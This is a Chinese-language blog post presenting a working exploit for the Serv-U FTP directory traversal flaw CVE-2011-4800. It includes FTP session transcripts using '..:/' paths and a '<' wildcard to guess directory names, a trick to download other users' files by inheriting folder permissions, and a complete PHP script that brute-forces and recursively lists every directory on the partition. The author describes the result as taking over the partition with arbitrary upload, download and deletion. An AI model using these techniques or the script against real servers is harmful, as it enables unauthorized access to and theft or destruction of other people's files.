Serv-u跨目录

前言

Serv-u 6.3跨目录问题
影响Serv-U FTP Server 11.1.0.5之前所有版本,因此同样影响网上广为流传的6.3破解版
问题编号CVE-2011-4800

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
C:\Users\lenovo>ftp 192.168.60.20
连接到 192.168.60.20。
220 Serv-U FTP Server v6.3 for WinSock ready...
501 Invalid option.
用户(192.168.60.20:(none)): tjh
230 User logged in, proceed.
ftp> cd 作业
250 Directory changed to /作业
ftp> cd ..:/..:/..:/zzm
250 Directory changed to /作业/tjh/../../zzm
ftp> dir
200 PORT Command successful.
150 Opening ASCII mode data connection for /bin/ls.
drw-rw-rw- 1 user group 0 Apr 12 2016 .
drw-rw-rw- 1 user group 0 Apr 12 2016 ..
drw-rw-rw- 1 user group 0 Jan 15 19:10 linux
drw-rw-rw- 1 user group 0 Feb 23 2014 大计
drw-rw-rw- 1 user group 0 Jun 2 2016 期末考试
drw-rw-rw- 1 user group 0 Nov 16 14:37 题目
drw-rw-rw- 1 user group 0 Oct 9 21:49 作业
226 Transfer complete.
ftp: 收到 430 字节,用时 0.03秒 13.03千字节/秒。

成功列目录,之所以要先cd 作业的原因,似乎是由于文件夹权限继承的问题,在当前文件夹下无法跳转到其他目录下,而进入子目录之后可以向上跳。

但是poc里给出的ls命令跨目录列文件的方式并不能用。

ftp特性

ftp下用<可以通配多个字符,可以据此猜测目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ftp> cd ..:/3<
250 Directory changed to /../3<
ftp> cd ..:/36<
250 Directory changed to /
ftp> cd ..:/36<
250 Directory changed to /../36<
ftp> cd ..:/360<
250 Directory changed to /
ftp> cd ..:/360<
250 Directory changed to /../360<
ftp> cd ..:/360a<
250 Directory changed to /
ftp> cd ..:/360a<
550 /../360a<: No such file or directory.
ftp> cd ..:/360d<
250 Directory changed to /../360d<
ftp> cd ..:/360download<
250 Directory changed to /
ftp> cd ..:/360download<
250 Directory changed to /../360download<
ftp> cd ..:/360downloads<
250 Directory changed to /
ftp> cd ..:/360downloads<
250 Directory changed to /../360downloads<
ftp> cd ..:/360downloads
250 Directory changed to /
ftp> cd ..:/360downloads
250 Directory changed to /../360downloads

跨目录之后没有下载权限,但是有上传权限,该权限继承自当前用户在当前文件夹下的权限。

1
get ..:/..:/..:/zzm/linux/rhel-server-5.0-i386-dvd.iso

换到一个能下载的文件夹里,然后再get,即可成功下载

1
2
cd 题目/net501
get ..:/..:/..:/zzm/linux/rhel-server-5.0-i386-dvd.iso

继承的权限可以用于突破原先限定的权限

1
2
3
4
5
6
7
8
9
10
ftp> get 5.5.fla
200 PORT Command successful.
550 Permission denied.
ftp> cd /题目/net501
250 Directory changed to /题目/net501
ftp> get ..:/..:/作业/flash/5.5.fla
200 PORT Command successful.
150 Opening ASCII mode data connection for 5.5.fla (8714 Bytes).
226 Transfer complete.
ftp: 收到 8714 字节,用时 0.02秒 484.11千字节/秒。

其实在Serv-U服务器倒是可以看到日志:

1
2
3
4
5
6
7
8
9
10
11
     220 Serv-U FTP Server v6.3 for WinSock ready...
OPTS UTF8 ON
501 Invalid option.
USER test
230 User logged in, proceed.
CWD ..:/
550 /..:: No such file or directory.
CWD ..:\
550 /..:: No such file or directory.
CWD ..:/data
250 Directory changed to /../data

所以在好奇,是不是其实:这个冒号被过滤或者被当成其他意思解释了,其实不管输入多少个冒号,结果都是一样的

1
2
CWD ..::::::::::::::::::::::::/data
250 Directory changed to /../data

而冒号后面的点则会与冒号一同消失,也许是为了避免跨盘符而设定的规则。

1
2
CWD ..:........./data
250 Directory changed to /../data

至此,组合以上所有特性,已经可以遍历下载在该分区根目录下所有文件夹名为字母+符号+数字里的所有文件了,在知道具体路径的情况下,可以下载该分区下任意文件。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?php
/*
测试环境
*/

/*
$serv_u['ftp_server'] = '127.0.0.1';
$serv_u['ftp_user_name'] = 'test';
$serv_u['ftp_user_pass'] = '';
$serv_u['init_dir'] = '/';
$serv_u['depth_dir'] = '..:/..:/..:/';
*/
/*
实战环境
*/

$serv_u['ftp_server'] = '192.168.60.20';
$serv_u['ftp_user_name'] = 'hwh';
$serv_u['ftp_user_pass'] = '';
$serv_u['init_dir'] = '/jsb/';
$serv_u['depth_dir'] = '..:/..:/..:/..:/..:/';

$extend_enable = 1; // 是否启用外部拓展字典模式,0为关闭
$extend_payload = 'D:/OkMyWork/CVE-2011-4800/cve-2011-4800-payload.txt'; // 外部字典所在路径,支持相对或绝对,相对于shell运行位置而言

$serv_u['conn_id'] = ftp_connect($serv_u['ftp_server']) or die('cannot connect');
$serv_u['login_result'] = ftp_login($serv_u['conn_id'], $serv_u['ftp_user_name'], $serv_u['ftp_user_pass']);
if (!$serv_u['conn_id'] OR !$serv_u['login_result']) {
die('not login');
}
$serv_u['mkdir_name'] = $serv_u['ftp_server'].'_'.$serv_u['ftp_user_name'];
@mkdir($serv_u['mkdir_name']);

/*
递归列出已找到的所有文件夹
*/
function resolve_depth_list($serv_u, $current_dir){
ftp_chdir($serv_u['conn_id'], $serv_u['init_dir']);
ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].$current_dir);
$contents = ftp_rawlist($serv_u['conn_id'], '');
file_put_contents($serv_u['ftp_server'].'.resolve.txt', "============$current_dir============\r\n", FILE_APPEND);
foreach ($contents as $key => $value) {
file_put_contents($serv_u['ftp_server'].'.resolve.txt', $value."\r\n", FILE_APPEND);
}
foreach ($contents as $key => $value) {
preg_match_all('/^d[rwx-]{9}\s+?\d+?\s+?\w+?\s+?\w+?\s+?\d+?\s+?\w+?\s+?\d+?\s+?[(\d+?:\d+?)|(\d)]+?\s(.+)$/', $value, $dir_name);
if (@$dir_name[1][0]) {
if ($dir_name[1][0] === '.' || $dir_name[1][0] === '..'){
continue;
}
echo "准备列出".$current_dir.'/'.$dir_name[1][0]."\n";
resolve_depth_list($serv_u, $current_dir.'/'.$dir_name[1][0]);
}else{
}
}
}

/*
寻找根目录下目录名所用到的所有字符
*/
$payload = array();
$payload_t = array();
for ($i = 32; $i < 128; $i++) {
if ($i === 97 ) {
$i = 123;
} elseif ($i === 46 || $i === 47 || $i === 58 || $i === 60 || $i === 62 || $i === 92 || $i === 34 || $i === 32 ) {
continue;
}
$payload_t[] = chr($i);
}
if ($extend_enable !== 0) {
$payload_t = array_merge($payload_t, file($extend_payload, FILE_IGNORE_NEW_LINES));
}
$payload_t = array_unique($payload_t);
foreach ($payload_t as $key => $value) {
ftp_chdir($serv_u['conn_id'], $serv_u['init_dir']);
if (@ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].'<'.$value.'<') && (ftp_pwd($serv_u['conn_id']) !== '/' || $serv_u['init_dir'])) {
echo "发现 ".$value."\r\n";
$payload[] = $value;
}elseif (@ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].$value.'<') && (ftp_pwd($serv_u['conn_id']) !== '/' || $serv_u['init_dir'])) {
echo "发现 ".$value."\r\n";
$payload[] = $value;
}elseif (@ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].'<'.$value) && (ftp_pwd($serv_u['conn_id']) !== '/' || $serv_u['init_dir'])) {
echo "发现 ".$value."\r\n";
$payload[] = $value;
}
}

/*
寻找根目录下可能的文件夹名
*/
$dir_list = array();
function serv_u_list_root_path($serv_u, $current_dir = ''){
global $dir_list, $payload;
if ($current_dir) {
ftp_chdir($serv_u['conn_id'], $serv_u['init_dir']);
if (@ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].$current_dir) && (ftp_pwd($serv_u['conn_id']) !== $serv_u['depth_dir'] && $serv_u['init_dir'])) {
echo $current_dir."\r\n";
$dir_list[] = $current_dir;
file_put_contents($serv_u['ftp_server'].'_'.$serv_u['ftp_user_name'].'.txt', $current_dir."\r\n", FILE_APPEND);
$contents = ftp_rawlist($serv_u['conn_id'], '');
foreach ($contents as $key => $value) {
file_put_contents('./'.$serv_u['mkdir_name'].'/'.$current_dir.'.txt', $value."\r\n", FILE_APPEND);
}
}
}
$flag = 0;

foreach ($payload as $key => $i) {
ftp_chdir($serv_u['conn_id'], $serv_u['init_dir']);
if (@ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].$current_dir.$i.'<')) {
$flag = 1;
serv_u_list_root_path($serv_u, $current_dir.$i);
}
if ($current_dir) {
ftp_chdir($serv_u['conn_id'], $serv_u['init_dir']);
if (@ftp_chdir($serv_u['conn_id'], $serv_u['depth_dir'].$current_dir.chr(32).$i.'<')) {
$flag = 1;
serv_u_list_root_path($serv_u, $current_dir.chr(32).$i);
}
}
}

if (!$flag) {
echo $current_dir.'???--unknown--???'."\r\n";
file_put_contents($serv_u['ftp_server'].'_'.$serv_u['ftp_user_name'].'.txt', $current_dir.'???--unknown--???'."\r\n", FILE_APPEND);
}
}

/*
寻找根目录下可能的文件名-使用拓展
*/
serv_u_list_root_path($serv_u);

/*
启用递归遍历
*/
foreach ($dir_list as $key => $value) {
resolve_depth_list($serv_u, $value);
}

ftp_close($serv_u['conn_id']);
?>

以及我所使用的payload,主要收集了常用1000字和百家姓,以及该ftp上原生可探测到的文件所使用的文件名汇总。
需要注意的是,payload exp 里的中文,都需要使用GBK/GB2312格式,主要还是因为微软爸爸的系统里中文都是用GBK编码的(应该吧)。
运行结果可以生成一个根目录列表,遍历列表,和一个根目录文件夹及其所对应的文件。

至此,基本算是接管了该分区,任意上传下载,创建删除。

Author: hundan
Link: https://hundan.org/2018/08/12/Serv-u跨目录/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.